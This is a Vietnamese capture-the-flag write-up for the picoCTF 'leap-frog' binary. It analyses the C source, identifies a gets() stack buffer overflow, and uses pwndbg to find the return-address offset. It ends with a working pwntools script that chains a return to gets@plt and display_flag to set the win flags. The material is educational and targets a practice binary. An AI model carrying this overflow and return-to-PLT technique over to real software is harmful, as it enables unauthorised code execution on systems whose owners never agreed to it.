

# Leaf-frog write up

Dịch ngược

main  
vuln  
display\_flag  
leapA  
leap3  
leap2

Tìm hướng giải

Debug

checksec

Exploit code:

## Dịch ngược

đặc điểm của pico là không cần dịch ngược vì nó có source sẵn, khoẻ re.

### main

```
int main(int argc, char **argv){

    setvbuf(stdout, NULL, _IONBF, 0);

    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    vuln();
}
```

Trong hàm main thì ta thấy chương trình chỉ gọi vuln()

### vuln

```
void vuln() {
    char buf[16];
```

```
printf("Enter your input> ");
return gets(buf);
}
```

Trong vuln thì ta thấy rằng, chương trình khởi tạo 1 chuỗi char có 16 size là 16. Sau đó cho nhập vào bằng hàm GETS.

Hàm gets( ) này làm cho chúng ta có cơ hội khai thác lỗ hổng Stack overflow, vì nó không kiểm tra số lượng kí tự nhập vào, dẫn đến việc nếu chúng ta nhập > 16 kí tự thì biến buf nằm trên stack sẽ bị tràn.

Nhưng lúc này ta chưa đọc hết code nên chưa biết sẽ lợi dụng nó vào việc gì.

## display\_flag

```
void display_flag() {
    char flag[FLAG_SIZE];
    FILE *file;
    file = fopen("flag.txt", "r");
    if (file == NULL) {
        printf("'flag.txt' missing in the current directory!\n");
        exit(0);
    }

    fgets(flag, sizeof(flag), file);

    if (win1 && win2 && win3) {
        printf("%s", flag);
        return;
    }
    else if (win1 || win3) {
        printf("Nice Try! You're Getting There!\n");
    }
    else {
        printf("You won't get the flag that easy..\n");
    }
}
```

Hàm này là hàm show flag, nhưng để in ra được flag thì nó win1=win2=win3=true. Vậy ta xem thử làm cách nào cho 3 biến này = true.

Ban đầu 3 biến này được khởi tạo giá trị là false.

```
bool win1 = false;
bool win2 = false;
bool win3 = false;
```

## leapA

```
void leapA() {
    win1 = true;
}
```

Hàm này chỉ đơn giản là gán giá trị của win1 là true. Vậy là ta đã giải quyết được 1 vấn đề ở trên, là win1 = true.

## leap3

```
void leap3() {
    if (win1 && !win1) {
        win3 = true;
    }
    else {
        printf("Nope. Try a little bit harder.\n");
    }
}
```

Hàm này cho phép chúng ta gán win3 = true, nhưng phải thoả mãn điều kiện là (true&&false == true) điều này là không thể nào rồi, làm sao true && false == true được. Chắc phải có vấn đề gì đó ở đây.

## leap2

```
void leap2(unsigned int arg_check) {
    if (win3 && arg_check == 0xDEADBEEF) {
        win2 = true;
    }
    else if (win3) {
        printf("Wrong Argument. Try Again.\n");
    }
}
```

```
else {  
    printf("Nope. Try a little bit harder.\n");  
}  
}
```

Hàm này cho phép chúng ta gán `win2 = true`, nhưng phải thoả mãn điều kiện là `win3==true` và `arg_check = 0xDEADBEEF`. Tức ta phải gọi hàm này sau khi `win3 = true` mới được.

## Tìm hướng giải

Theo những đoạn code trên thì ta phải làm lần lượt là

`win1=true` → `win3=true` → `win2=true` → `flag`

`leapA` → `leap3` → `leap2` → `display_flag`

Ta đã có hàm `vuln()` bị lỗi `stack overflow`, nên ta có thể lợi dụng lỗi này để xây dựng những instruction giả overwrite `return address` để gọi hàm theo mong muốn của ta.

## Debug

### checksec

```
[*] '/home/tuan/Documents/PICO_rewriteup/rop'  
Arch:      i386-32-little  
RELRO:     Partial RELRO  
Stack:     No canary found  
NX:        NX enabled  
PIE:       No PIE (0x8048000)
```

Bài này no canary và no pie, quá thuận lợi cho chúng ta rồi, nhưng nó not execute nên chúng ta không thể `ret2shellcode` được. Nhưng có thể `ret2rop`. Tên bài đã gợi ý cho chúng ta, build những đoạn rop.

Đây là đoạn gets() trong hàm vuln() , nó sẽ cho chúng ta nhập vào địa chỉ 0xffffd560, giả sử mình nhập: "lethanhtuan"

```
0x80487bb <vuln+42>    push    eax
0x80487bc <vuln+43>    call    gets@plt <0x8048430>
    arg[0]: 0xffffd560 ← 0x3e8
    arg[1]: 0xf7fee010 (_dl_runtime_resolve+16) ← pop    edx
    arg[2]: 0x0
    arg[3]: 0x804879d (vuln+12) ← add    ebx, 0x1863
0x80487c1 <vuln+48>    add     esp, 0x10
```

Lúc đó stack sẽ như thế này, dễ dàng thấy giá trị mà chúng ta vừa nhập vào.

```
04:0010|  eax  0xffffd560 ← 'lethanhtuan'
05:0014|      0xffffd564 ← 'anhtuan'
06:0018|      0xffffd568 ← 0x6e6175 /* 'uan' */
07:001c|      0xffffd56c → 0x8048816 (main+77) ← add
08:0020|      0xffffd570 ← 0x3e8
09:0024|      0xffffd574 → 0x804a000 (_GLOBAL_OFFSET_TABLE)
) ← 0x1
0a:0028|  ebp  0xffffd578 → 0xffffd598 ← 0x0
0b:002c|      0xffffd57c → 0x804881e (main+85) ← mov
```

Mình tính khoảng cách từ eax đến ebp+4 là bao nhiêu bytes để overflow. Thì ở đây tính ra là 0x1c.

```
pwndbg> p/x 0xffffd57c-0xffffd560
$1 = 0x1c
pwndbg>
```

... Mình dự định sẽ tạo 1 đoạn rop sao cho nó kiểu như vậy

```
ret
leapA
ret
pop <thanh ghi x>
win3 // đưa win3 vào thanh ghi x
mov x, 0x$$$ ( giá trị bất kì khác 0 )
ret
leap2
ret
display_flag
```

Đây là dự định của mình , nhưng mà đến lúc tìm những cái rop cho phù hợp thì thực sự là nó khác rắc rối. cho nên mình bỏ, làm cách khác cho rồi. Thế là mình xem lại có gì sử dụng được không?

Mình thấy:

... win1 = 0x0804A03D  
win2 = 0x0804A03E  
win3 = 0x0804A03F

Địa chỉ win1, win2, win3 nằm gần nhau. Và mình có gets\_plt , vậy là mình nghĩ ra rằng mình sẽ xây dựng ret to gets và nhận tham số là địa chỉ win1, để nó ghi giá trị vào win1.

Khi đó stack sẽ trong thế này:

... ebp+4            gets\_plt  
                     display\_flag  
                     win1

Như vậy sau khi hàm vuln thực thi xong nó sẽ gọi hàm gets(win1) và ghi 4 bytes vào win1, rồi return về hàm

display\_flag.

## Exploit code:

```
from pwn import *

win1 = 0x0804A03D
win2 = 0x0804A03E
win3 = 0x0804A03F

s = process("./rop")
raw_input('debug')

plt_get = 0x8048430
display_flag = 0x80486b3

payload = 'a'*0x1c
payload += p32(plt_get)
payload += p32(display_flag)
payload += p32(win1)

s.sendlineafter("Enter your input> ",payload)
s.sendline('\x01'*4)
s.interactive()
s.close()
```